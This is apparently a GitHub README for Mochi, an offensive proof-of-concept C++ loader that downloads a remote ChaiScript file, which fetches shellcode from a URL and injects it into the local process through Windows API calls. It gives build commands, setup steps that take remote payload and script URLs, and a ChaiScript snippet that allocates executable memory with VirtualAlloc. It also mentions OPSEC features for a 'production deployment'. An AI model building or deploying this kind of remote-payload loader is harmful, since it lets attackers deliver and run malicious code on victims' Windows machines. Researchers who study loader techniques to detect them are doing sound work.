Mochi is a proof-of-concept C++ loader that leverages the ChaiScript embedded scripting language to execute code.
Mochi is a proof-of-concept C++ loader that leverages the ChaiScript embedded scripting language to execute code. It is based on the lcscript project that extends ChaiScript with native Windows API call support. Mochi was built to allow remote loading of ChaiScript files that orchestrate lower level code and execute offensive actions with the Windows API.
Using a scripting language to extend malware in C++ is not a new idea. Of notable mention is the Flame malware, whose authors scripted high-level logic in Lua. However, Mochi demonstrates that ChaiScript can be a viable alternative for implementing modularity and interacting with the Windows API from a scripting language. Additionally, ChaiScript was designed from the beginning to be used with C++. This makes integration and development straightforward for projects written in that language.
Inspiration for this capability came from the game development community and their usage of scripting languages with game engines. ChaiScript has been integrated into several game engines to support scripting functionality. For reference, see the following projects:
inject.chai
script sets up memory for process injection, but relies on a function defined within Mochi.cpp
to perform the execution.I've used the script located here to automate installation of vcpkg and the ChaiScript libraries on my host. Use this if you don't already have vcpkg installed.
To build the ChaiScript libraries, navigate to the location of your vcpkg install and execute the following command:
.\vcpkg.exe install chaiscript:x64-windows-static
The Mochi loader implements local process injection of a shellcode payload. This is intended to demonstrate the technique of using ChaiScript files that leverage the Windows API for offensive tasks. It does this by fetching the contents of a ChaiScript file, executing the script, the script will fetch the contents of a shellcode payload, it will call the Windows APIs to allocate/write memory and then call a function from inside Mochi to execute the memory.
To run the Mochi PoC, you'll need to perform the following steps:
.\helper_scripts\chaiscript_inject_module_init.ps1 -payloadUrl "https://example.com/shellcode.bin"
inject.chai
file at the Mochi\scripts\
path will be populated with your shellcode payload URL and be ready to execute.inject.chai
file to a remote hosting location, such as an S3 bucket. Obtain the URL and note it down..\helper_scripts\chaiscript_inject_module_init.ps1 -scriptUrl "https://example.com/inject.chai"
Mochi.cpp
file at the Mochi\
path will be populated with your ChaiScript file URL and be ready for compilation.To demonstrate how scripts can be written with ChaiScript to call the Windows API, see the following steps to call VirtualAlloc from kernel32.dll inside a ChaiScript file:
var libKernel32 = LoadLibrary("kernel32.dll");
var allocMem = funCall();
allocMem.init(libKernel32, "VirtualAlloc", 2);
var payload = "\xde\xad\xbe\xef";
var size = payload.size();
var allocType = 0x00001000;
var memProtect = 0x40;
allocMem.argUInt64(0);
allocMem.argUInt64(size);
allocMem.argUInt64(allocType);
allocMem.argUInt64(memProtect);
var allocAddr = allocMem.evalUInt64();
Due to the PoC nature of this project, it was not built with OPSEC in mind. However, I will outline some possible features that could be present in a production deployment of this kind of project as well as OPSEC caveats: